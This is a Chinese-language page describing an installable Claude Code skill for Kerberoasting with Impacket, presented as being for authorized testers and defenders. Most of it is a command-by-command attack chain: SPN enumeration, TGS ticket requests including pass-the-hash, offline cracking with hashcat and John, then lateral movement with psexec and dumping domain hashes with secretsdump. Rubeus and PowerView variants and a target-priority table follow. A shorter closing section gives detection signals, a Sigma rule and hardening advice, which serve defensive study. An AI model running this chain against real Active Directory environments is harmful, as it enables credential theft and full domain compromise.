关于 exploiting-kerberoasting-with-impacket
面向授权测试人员和防御团队的安全技能,介绍如何使用 Impacket 进行 Kerberoasting,涵盖 SPN 枚举、票据请求、离线破解与检测,也包含防护建议及相关 Windows 工具。
主要功能
- 01枚举带有 SPN 的账户
- 02使用 GetUserSPNs.py 请求 TGS 票据
- 03使用 Hashcat 或 John the Ripper 离线破解票据
- 04查看检测信号与防护措施
适用场景
- 01开展经授权的 Active Directory 红队测试
- 02在受控环境中分析 Kerberoasting 攻击痕迹
- 03制定 Kerberos 票据请求监测方案
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-kerberoasting-with-impacket安装后在 Claude Code 中输入/exploiting-kerberoasting-with-impacket确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py详细介绍
利用 Impacket 实施 Kerberoasting
概述
Kerberoasting(MITRE ATT&CK T1558.003)是一种凭据访问技术,通过为具有服务主体名称(SPN)的账户请求 Kerberos TGS(票据授予服务)票据,来针对 Active Directory 服务账户发起攻击。TGS 票据使用服务账户的 NTLM 哈希(RC4 或 AES)加密,从而支持离线暴力破解。Impacket 的 GetUserSPNs.py 是基于 Linux 的 Kerberoasting 攻击的标准工具。
何时使用
- 在执行涉及利用 Impacket 实施 Kerberoasting 的授权安全测试时
- 在受控环境中分析恶意软件样本或攻击痕迹时
- 在开展红队演练或渗透测试项目时
- 在基于对攻击技术的理解构建检测能力时
先决条件
- 有效的域凭据(任何域用户都可以请求 TGS 票据)
- 对域控制器的网络访问(TCP/88 Kerberos、TCP/389 LDAP)
- 已安装 Impacket(
pip install impacket) - 用于离线破解的 Hashcat 或 John the Ripper
- 字典文件(例如 rockyou.txt、SecLists)
法律声明: 本技能仅用于授权安全测试和教育目的。未经授权对您不拥有或未获得书面测试许可的系统使用本技能属于违法行为,可能违反计算机欺诈相关法律。
MITRE ATT&CK 映射
| 技术 ID | 名称 | 战术 |
|---|---|---|
| T1558.003 | Steal or Forge Kerberos Tickets: Kerberoasting | Credential Access |
| T1087.002 | Account Discovery: Domain Account | Discovery |
| T1110.002 | Brute Force: Password Cracking | Credential Access |
步骤 1:枚举可进行 Kerberoasting 的账户
# List all user accounts with SPNs (without requesting tickets)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1
# Output example:
# ServicePrincipalName Name MemberOf PasswordLastSet
# ---------------------------- ---------- -------------------------------- -------------------
# MSSQLSvc/SQL01.corp.local svc_sql CN=Domain Admins,CN=Users,... 2023-01-15 10:30:22
# HTTP/web01.corp.local svc_web CN=Web Admins,CN=Users,... 2024-03-20 14:15:00
# HOST/backup01.corp.local svc_backup CN=Backup Operators,CN=Users,... 2022-06-01 08:45:10
步骤 2:请求 TGS 票据
# Request TGS tickets for all Kerberoastable accounts
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
# Request ticket for a specific SPN
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request-user svc_sql
# Output format (hashcat-compatible):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...
# Save to file for cracking
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request -outputfile kerberoast_hashes.txt
# Using NTLM hash instead of password (Pass-the-Hash)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
-dc-ip 10.10.10.1 -request -outputfile hashes.txt
# Request AES tickets (if available)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request -outputfile hashes.txt
步骤 3:离线破解 TGS 票据
# Hashcat - RC4 encrypted tickets (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# Hashcat - AES-256 encrypted tickets (mode 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt
# Check results
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!
步骤 4:验证并使用破解出的凭据
# Verify cracked credentials
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local
# Check for local admin access
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth
# Use credentials for lateral movement
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local
# If service account is Domain Admin
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm
替代工具
Rubeus(Windows)
# Kerberoast all accounts
.\Rubeus.exe kerberoast /outfile:hashes.txt
# Target specific user
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt
# Request RC4-only tickets (easier to crack)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt
# Kerberoast with AES
.\Rubeus.exe kerberoast /aes /outfile:hashes.txt
PowerView(PowerShell)
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt
定向 Kerberoasting
Kerberoasting 的高价值目标:
| 账户类型 | 原因 | 风险 |
|---|---|---|
| Domain Admins 中的服务账户 | 直接通往域沦陷的路径 | 严重 |
| SQL 服务账户(MSSQLSvc) | 通常拥有过高权限 | 高 |
| Exchange 服务账户 | 可访问所有电子邮件 | 高 |
| AdminCount=1 的账户 | 曾经或当前具有特权 | 高 |
| 使用旧密码的账户 | 更可能使用弱密码 | 中 |
检测
Windows 事件日志
Event ID 4769 - Kerberos Service Ticket Request
- Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected
- Monitor for: Single user requesting many TGS tickets in short period
- Monitor for: Service ticket requests from unusual source IPs
Sigma 规则
title: Potential Kerberoasting Activity
status: stable
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17' # RC4
ServiceName|endswith: '$'
filter:
ServiceName: 'krbtgt'
condition: selection and not filter
level: medium
tags:
- attack.credential_access
- attack.t1558.003
防御建议
- 使用组托管服务账户(gMSA) - 240 个字符的随机密码,自动轮换
- 为所有服务账户设置强密码(25 个字符以上)
- 启用仅 AES 加密 - 通过 GPO 禁用 RC4
- 监控事件 ID 4769 以发现 RC4 TGS 请求
- 在 gMSA 不可行时实施托管服务账户
- 定期审计 - 运行 BloodHound 以识别可进行 Kerberoasting 的账户
- Protected Users 组 - 添加敏感服务账户
- 蜜罐 SPN - 创建带有 SPN 的诱饵账户以检测攻击
参考资料
- MITRE ATT&CK T1558.003: https://attack.mitre.org/techniques/T1558/003/
- Impacket: https://github.com/fortra/impacket
- Harmj0y's Kerberoasting Revisited: https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
- Detection Strategy DET0157: https://attack.mitre.org/detectionstrategies/DET0157/
评论
支持 Markdown